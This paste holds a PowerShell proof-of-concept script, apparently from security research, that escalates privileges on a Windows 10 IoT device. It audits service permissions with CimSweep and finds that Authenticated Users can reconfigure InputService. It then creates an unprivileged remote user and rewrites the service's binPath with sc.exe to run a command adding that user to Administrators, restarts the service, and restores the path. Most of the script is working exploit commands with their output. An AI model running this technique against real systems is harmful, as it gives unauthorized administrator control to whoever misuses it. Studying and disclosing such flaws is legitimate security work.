Advertisement
Guest User

Untitled

a guest
Aug 8th, 2016
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.95 KB | None | 0 0
  1. #region Win10IoT Audit Code
  2. $CimSession = New-CimSession -ComputerName Win10IoT -Credential Administrator -Authentication Negotiate
  3. Get-CimInstance -ClassName Win32_OperatingSystem -CimSession $CimSession
  4. Get-CimInstance -ClassName Win32_Service -Filter 'Name = "InputService"' -CimSession $CimSession | Format-List *
  5.  
  6. # Run the service audit function in CimSweep
  7. $ServicePermissions = Get-CSVulnerableServicePermission -CimSession $CimSession
  8. $ServicePermissions | Where-Object { $_.GroupName -eq 'NT AUTHORITY\Authenticated Users' }
  9.  
  10. # The fact that Authenticated Users can change the service configuration means that
  11. # they can change the service binpath to point to an attacker-controlled executable.
  12. <#
  13. GroupName : NT AUTHORITY\Authenticated Users
  14. CanStartService : {ClipSVC, debugregsvc, dmwappushservice, InputService...}
  15. CanStopService : {InputService, MapsBroker}
  16. CanChangeServiceConfig : {InputService}
  17. AllAccessToService : {InputService}
  18. CanChangePermissionsOfFile : {}
  19. CanDeleteFile : {}
  20. CanModifyFile : {}
  21. CanTakeOwnershipOfFile : {}
  22. CanWriteToFile : {}
  23. CanWriteDataToFile : {}
  24. FullControlOfFile : {}
  25. PSComputerName : Win10IoT
  26. #>
  27. #endregion
  28.  
  29. #region Creating a local user who can remote in.
  30. # This could all be accomplished with net.exe but we
  31. # might as well take advantage of the new Win10 cmdlets.
  32. $PSSession = New-PSSession -ComputerName Win10IoT -Credential Administrator -Authentication Negotiate
  33. $Password = Read-Host -AsSecureString
  34. $NewUser = New-LocalUser -Name 'UnprivilegedUser' -Password $Password -PasswordNeverExpires
  35. # Add user to Remote Management Users so they can remote in with PowerShell Remoting
  36. # The user doesn't need to be a member of this group in order to SSH in.
  37. Add-LocalGroupMember -Group 'Remote Management Users' -Member 'UnprivilegedUser'
  38. #endregion
  39.  
  40. #region Exploitation
  41. # Establish a PSSession as an unprivileged user.
  42. $PSSession = New-PSSession -ComputerName Win10IoT -Credential UnprivilegedUser -Authentication Negotiate
  43. $PSSession | Enter-PSSession
  44.  
  45. # PowerShell equivalent of whoami. whoami is not present in Win10IoT
  46. [Security.Principal.WindowsIdentity]::GetCurrent()
  47.  
  48. # As an unprivileged user, the Service cmdlets don't work as you can't get
  49. # a handle to the Service Control Manager. sc.exe works just fine, however.
  50.  
  51. # Validate that the service is running
  52. sc.exe queryex InputService
  53. # Validate the original service binary path and that it runs as system
  54. sc.exe qc InputService
  55. <#
  56. [SC] QueryServiceConfig SUCCESS
  57.  
  58. SERVICE_NAME: InputService
  59. TYPE : 10 WIN32_OWN_PROCESS
  60. START_TYPE : 2 AUTO_START
  61. ERROR_CONTROL : 1 NORMAL
  62. BINARY_PATH_NAME : C:\windows\system32\svchost.exe -k LocalSystem
  63. LOAD_ORDER_GROUP :
  64. TAG : 0
  65. DISPLAY_NAME : InputService
  66. DEPENDENCIES :
  67. SERVICE_START_NAME : LocalSystem
  68. #>
  69.  
  70. # Drop your malicious service executable and replace the service bin path
  71. sc.exe config InputService binPath= "net localgroup Administrators UnprivilegedUser /add"
  72. # Validate that the service binpath was changed
  73. sc.exe qc InputService
  74.  
  75. # Restart the service
  76. sc.exe stop InputService
  77. sc.exe start InputService
  78.  
  79. # Validate that we were added to the Administrators group
  80. net user UnprivilegedUser
  81.  
  82. # Restore the service binary
  83. sc.exe config InputService binPath= "C:\windows\system32\svchost.exe -k LocalSystem"
  84. sc.exe start InputService
  85.  
  86. # Exit the unp
  87. exit
  88.  
  89. # Establish a new session
  90. $PSSession | Remove-PSSession
  91. $PSSession = New-PSSession -ComputerName Win10IoT -Credential UnprivilegedUser -Authentication Negotiate
  92. $PSSession | Enter-PSSession
  93.  
  94. # Validate that UnprivilegedUser is a member of Administrators
  95. # or just run `net user UnprivilegedUser`. I like PowerShell versions of commands. ;)
  96. Get-CimInstance Win32_Group | Where-Object { [Security.Principal.WindowsIdentity]::GetCurrent().Groups.Value -contains $_.SID }
  97. #endregion
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement